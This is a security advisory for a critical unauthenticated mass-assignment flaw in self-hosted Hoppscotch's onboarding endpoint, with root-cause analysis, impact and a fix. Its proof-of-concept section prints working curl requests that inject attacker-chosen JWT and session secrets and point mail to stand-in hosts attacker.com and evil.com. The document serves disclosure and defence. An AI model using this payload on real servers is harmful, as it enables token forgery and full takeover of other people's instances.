Hoppscotch

CRITICAL CVSS 10.0 · CVE-2026-50160 · GHSA-j542-4rch-8hwf ↗ · Fixed v2026.5.0 ↗

Unauthenticated Mass Assignment on Onboarding Endpoint Allows JWT Secret Injection and Full Server Takeover

hoppscotch-backend (self-hosted)
≤ v2026.4.1
v2026.4.1
CWE-915
2026-05-28
Fixed v2026.5.0

An unauthenticated attacker can inject arbitrary configuration keys, including JWT_SECRET and SESSION_SECRET, into a fresh Hoppscotch installation through the POST /v1/onboarding/config endpoint, enabling complete server compromise. Self-hosted instances are most vulnerable during initial deployment when exposed to the internet before onboarding completion.

01 Root Cause Four Compounding Weaknesses

Four independent weaknesses enable this attack:

Weakness 1 Missing whitelist: true on ValidationPipe

Extra properties not declared in the SaveOnboardingConfigRequest DTO pass through to the service layer instead of being stripped.

Weakness 2 Unconstrained key iteration

The service uses Object.entries(dto) with a TypeScript cast as InfraConfigEnum that performs no runtime validation of which keys are allowed.

Weakness 3 Silent validation fallthrough

The validateEnvValues method’s default: break case allows security-critical keys like JWT_SECRET to pass validation without explicit checks.

Weakness 4 Unauthenticated endpoint access

The onboarding controller requires no authentication, only rate-limiting, and is accessible during fresh installs when usersCount === 0.

02 Proof of Concept Verified

Attack precondition: fresh installation where onboarding is incomplete, or database state where usersCount === 0.

Step 1 Verify onboarding status

curl http://target:3170/v1/onboarding/status {"onboardingCompleted":false,"canReRunOnboarding":true}

Step 2 Inject malicious configuration

curl -X POST http://target:3170/v1/onboarding/config \ -H "Content-Type: application/json" \ -d '{ "VITE_ALLOWED_AUTH_PROVIDERS": "EMAIL", "MAILER_SMTP_ENABLE": "true", "MAILER_SMTP_URL": "smtp://attacker.com:25", "MAILER_ADDRESS_FROM": "attacker@evil.com", "JWT_SECRET": "ATTACKER_CONTROLLED_JWT_SECRET", "SESSION_SECRET": "ATTACKER_CONTROLLED_SESSION" }' # Returns success token

Step 3 Verify compromise

psql -c "SELECT name, value FROM InfraConfig WHERE name = 'JWT_SECRET';" # Returns attacker-controlled secret
03 Impact

Full server compromise enabling:

JWT forgery  ·  Attacker creates valid tokens for any user, including administrators.

Complete data access  ·  Authenticated queries expose all workspaces, collections, and team information.

Persistent access  ·  Control of signing keys survives credential resets.

Additional injection vectors  ·  Attacker can overwrite SESSION_SECRET, SESSION_COOKIE_NAME, RATE_LIMIT_TTL, RATE_LIMIT_MAX, ALLOW_SECURE_COOKIES, TOKEN_SALT_COMPLEXITY, GOOGLE_CLIENT_SECRET, GITHUB_CLIENT_SECRET, MICROSOFT_CLIENT_SECRET, and other security-critical flags.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H · CWE-915 · OWASP Mass Assignment (API Security 2023)

04 Recommended Fix

Primary fix  ·  Enable strict input validation in main.ts:

new ValidationPipe({ transform: true, whitelist: true, forbidNonWhitelisted: true })

Defence in depth: implement an allowlist of keys permitted during onboarding; add explicit rejection cases for security-critical configuration keys; protect the endpoint with a one-time setup token (similar to GitLab/Grafana patterns).

Patched in GHSA-j542-4rch-8hwf ↗. Hoppscotch v2026.5.0 enables strict ValidationPipe options and removes mass-assignment on the onboarding route. Reporter: infycore · Analysis tool: agent-kira (Offgrid Security) · Published 2026-05-28.